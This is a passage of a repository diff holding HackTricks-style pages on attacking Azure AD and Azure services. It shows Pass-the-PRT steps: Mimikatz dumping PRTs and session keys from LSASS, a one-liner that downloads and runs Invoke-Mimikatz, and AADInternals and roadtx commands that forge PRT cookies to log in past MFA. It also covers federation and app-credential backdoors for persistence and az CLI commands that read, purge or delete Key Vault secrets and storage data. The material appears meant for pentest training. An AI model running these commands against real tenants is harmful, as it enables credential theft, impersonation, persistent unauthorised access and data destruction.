"grant_type" = "srv_challenge"
|
||||
}
|
||||
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
|
||||
Or using [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
|
||||
```powershell
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
|
||||
Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a new PRT (run in the tool from a process of the user to attack):
|
||||
|
||||
```powershell
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
|
||||
As oneliner:
|
||||
|
||||
```powershell
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
|
||||
Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph:
|
||||
|
||||
```powershell
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
|
||||
### Attack - Using roadrecon
|
||||
|
||||
### Attack - Using AADInternals and a leaked PRT
|
||||
|
||||
`Get-AADIntUserPRTToken` **gets user’s PRT token** from the Azure AD joined or Hybrid joined computer. Uses `BrowserCore.exe` to get the PRT token.
|
||||
|
||||
```powershell
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
|
||||
# Get an access token for AAD Graph API and save to cache
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
```
|
||||
|
||||
Or if you have the values from Mimikatz you can also use AADInternals to generate a token:
|
||||
|
||||
```powershell
|
||||
# Mimikat "PRT" value
|
||||
$MimikatzPRT="MC5BWU..."
|
||||
|
||||
# Add padding
|
||||
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
|
||||
|
||||
# Decode
|
||||
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
|
||||
|
||||
# Mimikatz "Clear key" value
|
||||
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
|
||||
|
||||
# Convert to Byte array and B64 encode
|
||||
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
|
||||
# Generate PRTToken with Nonce
|
||||
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
|
||||
$prtToken
|
||||
## You can already use this token ac cookie in the browser
|
||||
|
||||
# Get access token from prtToken
|
||||
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
|
||||
|
||||
# Verify access and connect with Az. You can see account id in mimikatz prt output
|
||||
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
|
||||
```
|
||||
|
||||
Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.
|
||||
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
|
||||
Then go to [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
|
||||
|
||||
### Attack - Mimikatz
|
||||
|
||||
#### Steps
|
||||
|
||||
1. The **PRT (Primary Refresh Token) is extracted from LSASS** (Local Security Authority Subsystem Service) and stored for subsequent use.
|
||||
2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the PRT is inside the TPM and not inside `lsass` **mimikatz won't be able to extract it**.\
|
||||
> However, it will be possible to g**et a key from a derive key from a context** from the TPM and use it to **sign a cookie (check option 3).**
|
||||
|
||||
You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
|
||||
> [!WARNING]
|
||||
> This won't exactly work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his.
|
||||
|
||||
You can use **mimikatz** to extract the PRT:
|
||||
|
||||
```powershell
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
Sekurlsa::cloudap
|
||||
|
||||
# Or in powershell
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
|
||||
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
|
||||
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Copy** the part labeled **Prt** and save it.\
|
||||
Extract also the session key (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it.
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> If you don’t see any PRT data it could be that you **don’t have any PRTs** because your device isn’t Azure AD joined or it could be you are **running an old version** of Windows 10.
|
||||
|
||||
To **decrypt** the session key you need to **elevate** your privileges to **SYSTEM** to run under the computer context to be able to use the **DPAPI masterkey to decrypt it**. You can use the following commands to do so:
|
||||
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Option 1 - Full Mimikatz
|
||||
|
||||
- Now you want to copy both the Context value:
|
||||
|
||||
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- And the derived key value:
|
||||
|
||||
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Finally you can use all this info to **generate PRT cookies**:
|
||||
|
||||
```bash
|
||||
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.
|
||||
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
|
||||
- Then go to [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
|
||||
|
||||
#### Option 2 - roadrecon using PRT
|
||||
|
||||
- Renew the PRT first, which will save it in `roadtx.prt`:
|
||||
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
|
||||
- Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim.
|
||||
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Option 3 - roadrecon using derived keys
|
||||
|
||||
Having the context and the derived key dumped by mimikatz, it's possible to use roadrecon to generate a new signed cookie with:
|
||||
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
|
||||
- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,7 @@
|
||||
# Az - Permissions for a Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,68 @@
|
||||
# Az - Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Illicit Consent Grant
|
||||
|
||||
By default, any user can register an application in Azure AD. So you can register an application (only for the target tenant) that needs high impact permissions with admin consent (an approve it if you are the admin) - like sending mail on a user's behalf, role management etc.T his will allow us to **execute phishing attacks** that would be very **fruitful** in case of success.
|
||||
|
||||
Moreover, you could also accept that application with your user as a way to maintain access over it.
|
||||
|
||||
### Applications and Service Principals
|
||||
|
||||
With privileges of Application Administrator, GA or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application.
|
||||
|
||||
It's possible to **target an application with high permissions** or **add a new application** with high permissions.
|
||||
|
||||
An interesting role to add to the application would be **Privileged authentication administrator role** as it allows to **reset password** of Global Administrators.
|
||||
|
||||
This technique also allows to **bypass MFA**.
|
||||
|
||||
```powershell
|
||||
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
|
||||
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
|
||||
```
|
||||
|
||||
- For certificate based authentication
|
||||
|
||||
```powershell
|
||||
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
|
||||
```
|
||||
|
||||
### Federation - Token Signing Certificate
|
||||
|
||||
With **DA privileges** on on-prem AD, it is possible to create and import **new Token signing** and **Token Decrypt certificates** that have a very long validity. This will allow us to **log-in as any user** whose ImuutableID we know.
|
||||
|
||||
**Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service:
|
||||
|
||||
```powershell
|
||||
New-AADIntADFSSelfSignedCertificates
|
||||
```
|
||||
|
||||
Then, update the certificate information with Azure AD:
|
||||
|
||||
```powershell
|
||||
Update-AADIntADFSFederationSettings -Domain cyberranges.io
|
||||
```
|
||||
|
||||
### Federation - Trusted Domain
|
||||
|
||||
With GA privileges on a tenant, it's possible to **add a new domain** (must be verified), configure its authentication type to Federated and configure the domain to **trust a specific certificate** (any.sts in the below command) and issuer:
|
||||
|
||||
```powershell
|
||||
# Using AADInternals
|
||||
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
|
||||
|
||||
# Get ImmutableID of the user that we want to impersonate. Using Msol module
|
||||
Get-MsolUser | select userPrincipalName,ImmutableID
|
||||
|
||||
# Access any cloud app as the user
|
||||
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,31 @@
|
||||
# Az - Queue Storage Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,41 @@
|
||||
# Az - Storage Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage Privesc
|
||||
|
||||
For more information about storage check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
### Common tricks
|
||||
|
||||
- Keep the access keys
|
||||
- Generate SAS
|
||||
- User delegated are 7 days max
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write
|
||||
|
||||
These permissions allows the user to modify blob service properties for the container delete retention feature, which enables or configures the retention period for deleted containers. These permissions can be used for maintaining persistence to provide a window of opportunity for the attacker to recover or manipulate deleted containers that should have been permanently removed and accessing sensitive information.
|
||||
|
||||
```bash
|
||||
az storage account blob-service-properties update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable-container-delete-retention true \
|
||||
--container-delete-retention-days 100
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
|
||||
|
||||
These permissions can lead to the attacker to modify the retention policies, restoring deleted data, and accessing sensitive information.
|
||||
|
||||
```bash
|
||||
az storage blob service-properties delete-policy update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable true \
|
||||
--days-retained 100
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# Az - VMs Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VMs persistence
|
||||
|
||||
For more information about VMs check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### Backdoor VM applications, VM Extensions & Images <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
An attacker identifies applications, extensions or images being frequently used in the Azure account, he could insert his code in VM applications and extensions so every time they get installed the backdoor is executed.
|
||||
|
||||
### Backdoor Instances <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
|
||||
- Backdooring the **User Data**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,2 @@
|
||||
# Az - Post Exploitation
|
||||
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
# Az - Blob Storage Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage Privesc
|
||||
|
||||
For more information about storage check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
|
||||
A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**.
|
||||
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
az storage blob list \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> --auth-mode login
|
||||
|
||||
az storage blob download \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
-n file.txt --auth-mode login
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
|
||||
A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob):
|
||||
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
# Az - File Share Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
File Share Post Exploitation
|
||||
|
||||
For more information about file shares check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
|
||||
|
||||
A principal with this permission will be able to **list** the files inside a file share and **download** the files which might contain **sensitive information**.
|
||||
|
||||
```bash
|
||||
# List files inside an azure file share
|
||||
az storage file list \
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
|
||||
# Download an specific file
|
||||
az storage file download \
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--path <filename-to-download> \
|
||||
--dest /path/to/down \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
|
||||
|
||||
A principal with this permission will be able to **write and overwrite files in file shares** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a file share):
|
||||
|
||||
```bash
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
# Az - Function Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Funciton Apps Post Exploitaiton
|
||||
|
||||
For more information about function apps check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION] > **Function Apps post exploitation tricks are very related to the privilege escalation tricks** so you can find all of them there:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-functions-app-privesc.md
|
||||
{{#endref}}
|
||||
+111
@@ -0,0 +1,111 @@
|
||||
# Az - Key Vault Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Key Vault
|
||||
|
||||
For more information about this service check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/keyvault.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.KeyVault/vaults/secrets/getSecret/action
|
||||
|
||||
This permission will allow a principal to read the secret value of secrets:
|
||||
|
||||
```bash
|
||||
az keyvault secret show --vault-name <vault name> --name <secret name>
|
||||
|
||||
# Get old version secret value
|
||||
az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<KeyVaultName>/<idOldVersion>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/certificates/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a certificate from the vault.
|
||||
|
||||
```bash
|
||||
az keyvault certificate purge --vault-name <vault name> --name <certificate name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/encrypt/action**
|
||||
|
||||
This permission allows a principal to encrypt data using a key stored in the vault.
|
||||
|
||||
```bash
|
||||
az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
||||
|
||||
# Example
|
||||
echo "HackTricks" | base64 # SGFja1RyaWNrcwo=
|
||||
az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value SGFja1RyaWNrcwo=
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/decrypt/action**
|
||||
|
||||
This permission allows a principal to decrypt data using a key stored in the vault.
|
||||
|
||||
```bash
|
||||
az keyvault key decrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
||||
|
||||
# Example
|
||||
az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value "ISZ+7dNcDJXLPR5MkdjNvGbtYK3a6Rg0ph/+3g1IoUrCwXnF791xSF0O4rcdVyyBnKRu0cbucqQ/+0fk2QyAZP/aWo/gaxUH55pubS8Zjyw/tBhC5BRJiCtFX4tzUtgTjg8lv3S4SXpYUPxev9t/9UwUixUlJoqu0BgQoXQhyhP7PfgAGsxayyqxQ8EMdkx9DIR/t9jSjv+6q8GW9NFQjOh70FCjEOpYKy9pEGdLtPTrirp3fZXgkYfIIV77TXuHHdR9Z9GG/6ge7xc9XT6X9ciE7nIXNMQGGVCcu3JAn9BZolb3uL7PBCEq+k2rH4tY0jwkxinM45tg38Re2D6CEA==" # This is the result from the previous encryption
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a key from the vault.
|
||||
|
||||
```bash
|
||||
az keyvault key purge --vault-name <vault name> --name <key name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a secret from the vault.
|
||||
|
||||
```bash
|
||||
az keyvault secret purge --vault-name <vault name> --name <secret name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/setSecret/action**
|
||||
|
||||
This permission allows a principal to create or update a secret in the vault.
|
||||
|
||||
```bash
|
||||
az keyvault secret set --vault-name <vault name> --name <secret name> --value <secret value>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/certificates/delete**
|
||||
|
||||
This permission allows a principal to delete a certificate from the vault. The certificate is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
```bash
|
||||
az keyvault certificate delete --vault-name <vault name> --name <certificate name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/delete**
|
||||
|
||||
This permission allows a principal to delete a key from the vault. The key is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
```bash
|
||||
az keyvault key delete --vault-name <vault name> --name <key name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/delete**
|
||||
|
||||
This permission allows a principal to delete a secret from the vault. The secret is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
```bash
|
||||
az keyvault secret delete --vault-name <vault name> --name <secret name>
|
||||
```
|
||||
|
||||
### Microsoft.KeyVault/vaults/secrets/restore/action
|
||||
|
||||
This permission allows a principal to restore a secret from a backup.
|
||||
|
||||
```bash
|
||||
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+89
@@ -0,0 +1,89 @@
|
||||
# Az - Queue Storage Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
|
||||
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
|
||||
|
||||
With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
|
||||
|
||||
```bash
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
|
||||
|
||||
With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
|
||||
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
|
||||
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
#Update the message
|
||||
az storage message update --queue-name <queue-name> \
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete`
|
||||
|
||||
This permission allows an attacker to delete queues within the storage account. By leveraging this capability, an attacker can permanently remove queues and all their associated messages, causing significant disruption to workflows and resulting in critical data loss for applications that rely on the affected queues. This action can also be used to sabotage services by removing essential components of the system.
|
||||
|
||||
```bash
|
||||
az storage queue delete --name <queue-name> --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete`
|
||||
|
||||
With this permission, an attacker can clear all messages from an Azure Storage Queue. This action removes all messages, disrupting workflows and causing data loss for systems dependent on the queue.
|
||||
|
||||
```bash
|
||||
az storage message clear --queue-name <queue-name> --account-name <storage-account>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
# Az - Service Bus Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Service Bus
|
||||
|
||||
For more information check:
